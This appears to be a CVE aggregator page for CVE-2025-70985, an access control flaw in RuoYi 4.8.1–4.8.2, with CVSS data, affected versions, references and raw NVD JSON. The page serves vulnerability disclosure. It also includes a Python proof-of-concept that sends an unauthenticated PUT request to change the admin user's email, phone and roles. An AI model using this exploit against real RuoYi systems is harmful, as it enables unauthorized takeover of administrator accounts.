Security Vulnerability Report
中文
CVE-2025-70985 CVSS 9.1 CRITICAL

CVE-2025-70985

Published: 2026-01-23 19:15:54
Last Modified: 2026-01-30 21:27:40

Description

Incorrect access control in the update function of RuoYi v4.8.2 allows unauthorized attackers to arbitrarily modify data outside of their scope.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ruoyi:ruoyi:4.8.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ruoyi:ruoyi:4.8.2:*:*:*:*:*:*:* - VULNERABLE
RuoYi v4.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-70985 PoC - RuoYi v4.8.2 Incorrect Access Control # Target: RuoYi v4.8.2 update function TARGET_URL = "http://target.com" # Replace with actual target URL def exploit_cve_2025_70985(): """ Exploit for CVE-2025-70985: Incorrect access control in RuoYi v4.8.2 update function This PoC demonstrates unauthorized data modification """ # Step 1: Identify the vulnerable update endpoint # Common endpoints in RuoYi: /system/user/{id}, /system/role/{id}, /system/dept/{id} # Step 2: Craft malicious request to update arbitrary data endpoint = f"{TARGET_URL}/system/user/1" # Malicious payload - modify admin user data without authorization payload = { "userId": 1, "userName": "admin", "email": "[email protected]", "phonenumber": "1234567890", "roleIds": [1, 2], "status": "0" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Step 3: Send unauthorized update request try: response = requests.put(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully exploited CVE-2025-70985") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_cve_2025_70985()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70985", "sourceIdentifier": "[email protected]", "published": "2026-01-23T19:15:53.907", "lastModified": "2026-01-30T21:27:40.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the update function of RuoYi v4.8.2 allows unauthorized attackers to arbitrarily modify data outside of their scope."}, {"lang": "es", "value": "Control de acceso incorrecto en la función de actualización de RuoYi v4.8.2 permite a atacantes no autorizados modificar datos arbitrariamente fuera de su alcance."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "66B50E9E-F41D-4BDA-9079-3A1AC60C83F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.2:*:*:*:*:*:*:*", "matchCriteriaId": "B03431D9-8914-458B-AD1F-83585A26FA22"}]}]}], "references": [{"url": "https://gist.github.com/old6ma/1a2dada02656ba9a4730c85f6c765f4f", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/y_project/RuoYi", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/y_project/RuoYi/issues/IDIDK2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/yangzongzhuan/RuoYi", "source": "[email protected]", "tags": ["Product"]}]}}